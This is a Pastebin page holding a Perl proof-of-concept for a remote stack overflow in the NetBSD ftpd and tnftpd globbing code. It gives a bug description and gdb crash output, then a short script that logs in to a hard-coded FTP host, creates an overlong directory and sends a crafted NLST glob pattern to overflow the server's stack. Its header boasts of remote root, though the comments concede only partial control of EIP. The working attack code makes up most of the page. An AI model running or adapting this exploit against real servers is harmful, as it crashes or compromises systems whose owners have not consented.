Tr3v0r

[BSD] NetBSD FTPd / tnftpd Remote Stack Overflow PoC

Sep 9th, 2014
244
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.16 KB | None | 0 0
  1. ==============================================
  2. NetBSD FTPd / tnftpd Remote Stack Overflow PoC
  3. ==============================================
  4.  
  5.  
  6.  
  7.  
  8. #!perl
  9. # $$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$
  10. #
  11. # About
  12. #
  13. # tnftpd is a port of the NetBSD FTP server to other systems.
  14. # It offers many enhancements over the traditional BSD ftpd,
  15. # including per-class configuration directives via ftpd.conf(5),
  16. # RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6,
  17. # transfer rate throttling, and more.
  18. # tnftpd was formerly known as lukemftpd,
  19. # and earlier versions are present in Mac OS X 10.2 (as ftpd)
  20. # and FreeBSD 5.0 (as lukemftpd).
  21. #
  22. # Description
  23. #
  24. # The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun,
  25. # which can lead to a root compromise.
  26. #
  27. # The bug is in glob.c file. The globbing mechanism is flawed as back in
  28. # 2001.
  29. #
  30. # To trigger the overflow you can create a folder and use the globbing
  31. # special characters (like STARS) to overflow an internal stack based buffer.
  32. #
  33. # gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 :
  34. # (gdb) c
  35. # Continuing.
  36. #
  37. # Program received signal SIGSEGV, Segmentation fault.
  38. # 0x00410041 in ?? ()
  39. # (gdb)
  40. #
  41. # tnftpd-20040810 behaves similar.
  42. # FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested,
  43. # however they could have the same bug, because of the same
  44. # codebase.
  45. #
  46. # The problem when exploiting this kind of bug is,
  47. # that we can only control 0x00410041, not the whole
  48. # 32 bit. However it looks feasible to find a way
  49. # to do a hole EIP redirection and/or exploit
  50. # the bug the "unicode" way, which could be especially
  51. # hard on BSD systems.
  52. # kcope
  53.  
  54. use IO::Socket;
  55.  
  56. $sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10',
  57. PeerPort => '21',
  58. Proto => 'tcp');
  59. $c = "C";
  60. $a = "C" x 255;
  61. $d = "A" x 450;
  62.  
  63. print $sock "USER kcope\r\n";
  64. print $sock "PASS remoteroot\r\n";
  65. $x = <stdin>;
  66. print $sock "MKD $a\r\n";
  67. print $sock "NLST C*/../C*/../C*/../$d\r\n";
  68. print $sock "QUIT\r\n";
  69.  
  70. while (<$sock>) {
  71. print;
  72. }
  73.  
  74.  
  75.  
  76. # 54112279E96756B6 1337day.com [2014-09-09] D7FF83EF1EABD4F0 #
Advertisement
Add Comment
Please, Sign In to add comment